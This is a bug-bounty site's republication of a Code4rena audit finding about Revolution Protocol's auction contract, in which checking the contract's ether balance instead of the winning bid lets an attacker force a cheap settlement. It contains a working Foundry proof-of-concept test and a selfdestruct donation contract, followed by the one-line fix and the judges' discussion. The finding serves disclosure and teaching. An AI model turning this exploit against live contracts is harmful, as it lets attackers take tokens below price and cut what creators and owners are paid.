Skip to content
Business logic Audit finding Intermediate

Bidder can use donations to get VerbsToken from auction that already ended

The auction contract checked its own ether balance against the reserve price instead of the winning bid amount, so a bidder could force a settlement by donating ether via selfdestruct and win the token while paying less than the new reserve price. This allowed the attacker to acquire the token unfairly and reduced payments to creators and the auction house owner.

jnforja Follow with 0x175, McToady and 9 others

Originally disclosed on Code4rena

Submitted by jnforja, also found by 0x175, McToady, mahdirostami, MrPotatoMagic, mojito_auditor, deth, 0xDING99YA, TermoHash, _eperezok, 0xCiphky, ktg, and imare (1, 2)

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/main/packages/revolution/src/AuctionHouse.sol#L348

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/main/packages/revolution/src/AuctionHouse.sol#L365-L368

  • Token will be auctioned off without following the intended rules resulting in an unfair auction.
  • Loss of funds for Creators and AuctionHouse owner.

Proof of Concept

For this attack to be possible it’s necessary that the following happens in the shown order:

  1. Attacker created a bid.
  2. AuctionHouse::reservePrice is increased to a value superior to the already placed bid.
  3. No new bid is created after AuctionHouse::reservePrice is called and the auction ends.
  4. Attacker donates through selfdestruct to AuctionHouse the minimum necessary to have address(AuctionHouse).balance be greater or equal to AuctionHouse::reservePrice.
  5. Auction is settled.
  6. Attacker will get the token and creators and AuctionHouse owner will be paid less than expected since their pay will be computed based on _auction.amount which is lower than the set reservePrice.

To execute the following code copy paste it into AuctionSettling.t.sol

 function testCircumventsMostCreateBidRestrictionsThroughDonationAndReducesTokenPayments() public {
        createDefaultArtPiece();
        auction.unpause();

        uint256 balanceBefore = address(dao).balance;

        uint256 bidAmount = auction.reservePrice();
        uint256 reservePriceIncrease = 0.1 ether;
        address bidder = address(11);
        vm.deal(bidder, bidAmount + reservePriceIncrease);
        vm.startPrank(bidder);
        auction.createBid{ value: bidAmount }(0, bidder); // Assuming first auction's verbId is 0
        vm.stopPrank();

        vm.startPrank(auction.owner());
        // After setting new ReservePrice current bid won't be enough to win the auction
        auction.setReservePrice(auction.reservePrice() + reservePriceIncrease);
        assertGt(auction.reservePrice(), bidAmount);
        vm.stopPrank();

        vm.warp(block.timestamp + auction.duration()); // Fast forward time to end the auction

        vm.startPrank(bidder);
        ContractDonatesEthThroughSelfdestruct donor = new ContractDonatesEthThroughSelfdestruct{value: reservePriceIncrease}();
        donor.donate(payable(address(auction)));
        auction.settleCurrentAndCreateNewAuction();

        //Through donation bidder was able to get the token even though the auction had already ended.
        assertEq(erc721Token.ownerOf(0), bidder);

        //Since payments are calculated using _auction.amount all the involved parties will get
        //less than they would if reservePrice had been respected.
        //Code below shows payments were calculated based on bidAmount which is less than the reservePrice.
        uint256 balanceAfter = address(dao).balance;

        uint256 creatorRate = auction.creatorRateBps();
        uint256 entropyRate = auction.entropyRateBps();

        //calculate fee
        uint256 amountToOwner = (bidAmount * (10_000 - (creatorRate * entropyRate) / 10_000)) / 10_000;

        //amount spent on governance
        uint256 etherToSpendOnGovernanceTotal = (bidAmount * creatorRate) /
            10_000 -
            (bidAmount * (entropyRate * creatorRate)) /
            10_000 /
            10_000;
        uint256 feeAmount = erc20TokenEmitter.computeTotalReward(etherToSpendOnGovernanceTotal);

        assertEq(
            balanceAfter - balanceBefore,
            amountToOwner - feeAmount
        );
    }

Contract ContractDonatesEthThroughSelfdestruct {
    constructor() payable {}

    function donate(address payable target) public {
        selfdestruct(target);
    }
}

Recommended Mitigation Steps

Execute the following diff at AuctionHouse::_settleAuction :

- if (address(this).balance < reservePrice) {
+ if (_auction.amount < reservePrice) {

rocketman-21 (Revolution) confirmed and commented: Ideally the DAO would wait to update the reserve price to line up with the start of a new auction, to ensure some bids will come in. Your call ultimately @0xTheC0der I implemented the fix in any case.

0xTheC0der (Judge) commented:

Thanks for the input!

Ideally the DAO would wait to update the reserve price to line up with the start of a new auction

It’s reasonable to assume that this is not always the case, therefore this group of issues remains valid.

The root cause is the change of parameters mid-auction, while the usage of selfdestruct is “just” a very impactful attack path.

Note: See full discussion here.


The original report as published on Code4rena, by jnforja. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The contract used the contract's total ether balance instead of the winning bid amount to check if the reserve price was met, allowing forced ether transfers to bypass the check.

Impact

The attacker could win the auction despite bidding below the reserve price, and creators and the auction house owner would receive less than expected because payments are based on the lower bid amount.

What the attacker needed

Attacker places a bid before reserve price increase; Reserve price is increased above the bid; No new bids are placed; Attacker can send ether via selfdestruct

The fix

The check should compare the winning bid amount (`_auction.amount`) to the reserve price instead of the contract's balance.

How it was found

  1. Attacker creates a bid.
  2. The reserve price is increased above the existing bid.
  3. No new bid is placed and the auction ends.
  4. Attacker donates ether via selfdestruct to make the contract balance at least the reserve price.
  5. The auction is settled.
  6. Attacker receives the token and payments are based on the lower bid amount.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An auction contract decided whether to settle by looking at how much ether it held, not at the highest bid. An attacker could send extra ether directly to the contract (using a trick called selfdestruct) to make the balance look high enough, then settle the auction and win the token even though their bid was below the reserve price. This meant the token sold for less than intended and the people who should get paid received less.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by jnforja

View all

1 more disclosed report, best first.

More from Revolution Protocol

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.